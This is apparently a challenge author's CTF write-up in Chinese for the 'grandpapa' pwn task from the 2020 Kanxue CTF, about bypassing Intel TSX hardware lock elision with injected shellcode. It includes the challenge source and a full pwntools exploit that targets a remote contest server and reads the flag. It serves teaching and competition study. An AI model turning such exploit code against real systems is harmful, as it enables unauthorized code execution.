0x01 题目信息
题目名称:grandpapa(老大爷)
编译选项:
gcc -fno-builtin-printf -o grandpapa grandpapa.c
保护措施:
╭─birdpwn@ubuntu ~/Pwn/pwn
╰─$ checksec grandpapa
[*] '/home/Pwn/pwn/grandpapa'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
题目基本保护全开,开启了Full RELRO选手无法修改GOT表,也开了地址随机化和数据执行保护。
文件信息:
╭─birdpwn@ubuntu ~/Pwn/pwn
╰─$ file grandpapa
grandpapa: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=8e1d9b799ccca023d2e27123f83018593fa4fa1f, not stripped
0x02 命题思路
此题魔改了2019年defcon的一道题目,patch了其中的一个漏洞,修改了unsorted bin,这道题目的考察的是对Intel CPU的TSX事务扩展的漏洞利用,这道题目对于学习TSX漏洞是非常好的题目,近几年爆出大量Intel CPU漏洞基本都与TSX技术有关,包括Spectre(幽灵),Meltdown(熔毁)和2019年11月爆出的TSX异步中止漏洞(CVE-2019-11135),利用此漏洞,攻击者可进行侧信道攻击,从操作系统内核和进程中获取敏感信息。
Intel的TSX指令集是针对粗细粒度线程锁定的。在多核多线程处理器中,有一个比较明显的问题,就是多线程对某一资源都需要调用的时候,需要仲裁。当一个线程调用该资源时,另一线程就无法调用,如果调用了,就会发生错误。而如今的程序员,为了防止线程争copy抢,发生错误,都用粗粒度锁定——也就是该线程占用的绝大多数资源,其他线程都不得争抢。这样也导致了一些,本不需锁定的资源,也被锁定了,其他线程利用不了,降低了多核多线程处理器的多线程性能。TSX指令集就是要让程序员或开发工具更方便、准确地进行细粒度锁定,让资源更有效地使用。
main函数源码如下:
int main(int argc, char **argv)
{
char* buf;
int base=0;
int key_tmp=0;
char shellcode[1048];
int shellcode_size;
int (*func)();
register int key asm ("ebx");
setvbuf(stdout, NULL,_IOLBF,BUFSIZ);
int urand = open("/dev/urandom", O_RDONLY);
write(1,"Welcome to the 2020kanxueCTF.\n",33);
while(1){
write(1,"\nShellcode > \0",14);
fflush(stdout);
shellcode_size = read_all(&shellcode, 1024);
read(urand, (char*)&base, 4);
read(urand, (char*)&key_tmp, 4);
buf = init_buffer(shellcode_size, 0, base);
printf("\n(get %d bytes)\n",shellcode_size);
if (shellcode_size)
my_memcpy(&buf[HEADER_LEN+4], shellcode, shellcode_size);
base = 0;
func = (int (*)()) &buf[20];
asm("vzeroall");
asm("xor %r10,%r10");
asm("xor %r13,%r13");
asm("xor %r12,%r12");
asm("xor %rsi,%rsi");
asm("xor %rdi,%rdi");
sleep(1);
key = key_tmp;
key_tmp = 0;
(int)(*func)();
printf("We are We failed!\n");
fflush(stdout);
free(buf);
sleep(2);
}
printf("You should never reach here...");
return 0;
}
下面的代码是解此题目的重点,xacquire lock xor [rdi], ebx ; 会进入硬件内存锁状态,就会在内存页面上给shellcode添加xacquire前缀,导致shellcode不可执行。
%idefine rip rel $
global _start
_start:
db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
lea rdi, [rip]
sub rdi, 0x14
mov dword eax, [rdi]
mov dword [rdi], eax
xor rax, rax
xor rcx, rcx
xor rdx, rdx
xor rsi, rsi
;xor r8, r8
;xor r9, r9
;xor r10, r10
;xor r11, r11
;xor r12, r12
;xor r13, r13
;xor r14, r14
;xor r15, r15
;xor rsi, rsi
xacquire lock xor dword [rdi], ebx
xtest
jnz shellcode
ret
shellcode:
xor rbp, rbp
xor rsp, rsp
xor rdi, rdi
xor rbx, rbx
0x03 解题思路
题目的整体解题思路是利用TSX事务扩展让程序执行进入预先写入的shellcode,然后就可以执行shellcode,这里需要解决的一个问题是:硬件锁省略(HLE),题目中使用了xacquire指令前缀,会对这之后要操作的指令内存进行锁省略,这个硬件锁省略会使函数无法返回利用函数跳转,也无法预加载shellcode。
现代CPU都使用了推测执行这一技术,简单来说就是CPU会以推测执行的方式预先加载一部分指令,这样可以减少CPU等待时间提升CPU处理速度,但是这种技术在2018年接连爆出大量漏洞,这就包括名噪一时的Spectre(幽灵),Meltdown(熔毁)漏洞。
在这道题目中分支判断的结果可以在推测执行的时候改变,就是结束硬件锁省略的指令:xrelease,因此在预加载要执行的shellcode中调用xrelease指令就可以对内存进行解锁操作,在后面的判断结束后就可以执行获取shell的shellcode了。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int buf; // [rsp+10h] [rbp-450h]
int v4; // [rsp+14h] [rbp-44Ch]
int fd; // [rsp+18h] [rbp-448h]
unsigned int v6; // [rsp+1Ch] [rbp-444h]
void *ptr; // [rsp+20h] [rbp-440h]
char *v8; // [rsp+28h] [rbp-438h]
char v9; // [rsp+30h] [rbp-430h]
unsigned __int64 v10; // [rsp+448h] [rbp-18h]
v10 = __readfsqword(0x28u);
buf = 0;
v4 = 0;
setvbuf(stdout, 0LL, 1, 0x2000uLL);
fd = open("/dev/urandom", 0, argv);
write(1, "Welcome to the 2020kanxueCTF.\n", 0x21uLL);
while ( 1 )
{
write(1, "\nShellcode > ", 0xEuLL);
fflush(stdout);
v6 = read_all(&v9, 1024LL);
read(fd, &buf, 4uLL);
read(fd, &v4, 4uLL);
ptr = (void *)init_buffer(v6, 0LL, buf);
printf("\n(get %d bytes)\n", v6);
if ( v6 )
my_memcpy((char *)ptr + HEADER_LEN + 4, &v9, v6);
buf = 0;
v8 = (char *)ptr + 20;
__asm { vzeroall }
sleep(1u);
v4 = 0;
((void (__fastcall *)(signed __int64, _QWORD))v8)(1LL, 0LL);
printf("We are We failed!\n");
fflush(stdout);
free(ptr);
sleep(2u);
}
}
main函数循环一次读取1024字节,使用urandom生成两个随机数,然后使用allocate()函数申请一个可读可写可执行的堆空间,堆空间长度是length(shellcode)+65+4,而且先回存储生成的4 byte随机数和在程序中硬编码的65 byte数据,最终可用大小是0x450 byte,之后会使用copy函数从栈空间中获取预加载的shellcode将其复制到堆空间中。
loc_F70:
lea rdi, loc_F70
sub rdi, 0x14
mov eax, [rdi]
mov [rdi], eax
xor rax, rax
xor rcx, rcx
xor rdx, rdx
xor rsi, rsi
xacquire lock xor [rdi], ebx
xtest
jnz short loc_F95
retn
loc_F95:
xor rbp, rbp
xor rsp, rsp
xor rdi, rdi
xor rbx, rbx
user_shellcode:
...
以上代码非常重要,是解此题目的重点,xacquire lock xor [rdi], ebx ; 会进入内存锁状态,这样就会在RWX
的内存页面上给shellcode添加xacquire前缀,导致shellcode不可执行。
由于key值是一个随机值,因此需要通过暴破控制内存。
Intel将TSX技术实现简述为推测锁定(speculative locking
),这种方法可确保安全地访问共享内存空间。
TSX为x86指令集增加了许多新指令,其中就包括硬件内存锁(Hardware Lock Elision, HLE)指令前缀XACQUIRE
和XRELEASE
:
xacquire lock mov [rax], 1 ; 进入内存锁状态
xrelease lock mov [rax], 0 ; 结束内存锁状态
将shellcode存放在xaquire锁的[rdi]的偏移量上,当通过xtest
检查检查就可以执行任意代码,先从堆栈中读取随机数
,然后使用xrelease mov
存储随机数,这样就可以通过xtest
的检测
shellcode = asm('''
s:
jmp $+0x30
nop;nop;nop;nop;nop;nop;nop;nop;nop
fd:
nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
nop;nop;nop;nop;nop;nop;nop;nop;nop;
lea rax, [rip+fd]
mov rdi, rax
mov rax, qword ptr [rdi] /* rax = bin_addr */
/* environ_ptr - bin_addr = 0x23f8 */
xor ebp, ebp
mov bp, 0x23f8
add rax, rbp
mov rdi, rax
mov rax, qword ptr [rdi] /* rax @ environ */
/* magic_at - environ = 0x584 */
xor ebp, ebp
mov bp, 0x584
sub rax, rbp
mov rbx, rax
mov rsp, rbx
mov ebx, dword ptr [rbx]
lea rdi, [rip+s-69]
xrelease mov dword ptr [rdi], ebx
''')
上面的shellcode主要作用是通过UAF漏洞泄露libc地址和栈地址实现内存解锁,然后调用syscall_open
,syscall_read
,syscall_write
等函数来get flag。
shellcode = ""
shellcode += "B"*(0x400-len(shellcode))
p.sendafter("> ", shellcode)
# 发送 EOF 会进入第二个循环,将随机数保存在堆栈中就可以实现代码执行
p.shutdown()
p.interactive()
一共需要发送两次数据。第一次发送1024个字节,第二次通过shutdown函数发送一个EOF,发送两次是因为第一次发送时由于随机数的值存放在栈空间上,找不到栈地址,发送两次就可以利用UAF漏洞泄露libc地址,这样就可以找到栈地址了,然后解锁实现代码执行。
发送EOF信息,循环会申请一个堆空间,这个堆空间会从unsorted bin中分配,也就是存储shellcode的堆空间,shellcode的偏移一直没有发生变化,通过xtest检测实现跳转就可以执行shellcode了。
完整 exp 如下:
from pwn import *
import time
import ctypes
DEBUG = False
context.update(arch="amd64", os="linux", bits=64)
if __name__ == "__main__":
elf = ELF("./grandpapa")
if DEBUG:
p = process("./grandpapa")
else:
p = remote("121.36.145.157 ", 10000)
shellcode = asm('''
s:
jmp $+0x30
nop;nop;nop;nop;nop;nop;nop;nop;nop
fd:
nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
nop;nop;nop;nop;nop;nop;nop;nop;nop;
lea rax, [rip+fd]
mov rdi, rax
mov rax, qword ptr [rdi] /* rax = bin_addr */
/* environ_ptr - bin_addr = 0x23f8 */
xor ebp, ebp
mov bp, 0x23f8
add rax, rbp
mov rdi, rax
mov rax, qword ptr [rdi] /* rax @ environ */
/* magic_at - environ = 0x584 */
xor ebp, ebp
mov bp, 0x584
sub rax, rbp
mov rbx, rax
mov rsp, rbx
mov ebx, dword ptr [rbx]
lea rdi, [rip+s-69]
xrelease mov dword ptr [rdi], ebx
''') + asm(shellcraft.cat('/flag'))
shellcode += "B"*(0x400-len(shellcode))
p.sendafter("> ", shellcode)
# 发送 EOF 会进入第二个循环,将随机数保存在堆栈中就可以实现代码执行
p.shutdown()
p.interactive()
p.close()
成功得到shell,读取flag即可
game over :)
0x04 赛后说明
这道题目的原题是2019年defcon Qualifier的一道CPU 推测执行题目,当时我也看了这题,但是没有做出,这道题是根据它patch了其中的一个漏洞的,后面的unsorted bin堆分配也做了修改,改这个题是因为觉得Intel CPU 的 TSX漏洞在国内讨论还是挺少的,这个题目对于学习TSX漏洞很有帮助,毕竟国内去看defcon题目的人还是少数,比赛也不是为了难为选手,原来的exp我测试是无法跑通的,因为我提供的环境是16.04,是需要爆破处理的,但是昨晚突然有师傅说觉得云平台上这个漏洞无法触发,于是晚上更换了服务器,才有了今天用原来exp可以解出题目的事情,正常解法是修改xtest完成内存开锁,我这边取消防守分数没有问题。
再说一个事情,本来是出了一道考察google-perftools的tcmalloc堆分配器的题目,但是在开赛前题目环境在云上一直部署不成功,所以临时修改了这道CPU题目,给大家造成的问题非常抱歉。
鉴于这种情况,赛后主办方会把攻守双方此题的分数清零,更换环境后出现了非预期,我这边也很挠头,师傅们轻喷吧。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2020-4-27 13:55
被0xbird编辑
,原因: